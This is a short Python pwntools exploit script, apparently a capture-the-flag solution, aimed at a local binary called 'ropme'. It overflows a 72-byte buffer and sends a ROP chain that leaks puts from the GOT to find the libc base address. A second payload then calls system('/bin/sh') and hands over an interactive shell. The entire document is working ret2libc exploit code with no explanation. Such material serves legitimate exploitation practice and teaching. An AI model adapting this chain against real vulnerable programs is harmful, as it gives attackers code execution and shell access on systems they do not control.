from pwn import *
p = process("./ropme")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

payload = "A"*72
pop_rdi =  p64(0x00000000004006d3)
payload += pop_rdi 
payload += p64(0x0000000000601018) # puts got
payload += p64(0x00000000004004e0) # puts plt
payload += p64(0x0000000000400626) # main

p.recvuntil('\n')
p.sendline(payload)

libc_base = u64(p.recv(6).ljust(8, '\0')) - libc.symbols['puts']

log.info(hex(libc_base))

system_addr = libc_base + libc.symbols["system"]
bin_sh = libc_base + libc.search("/bin/sh\x00").next()
# bin_sh = bin_sh - 64

payload = 'A' * 72 + pop_rdi + p64(bin_sh) + p64(system_addr)

p.sendlineafter('\n', payload)

p.interactive()
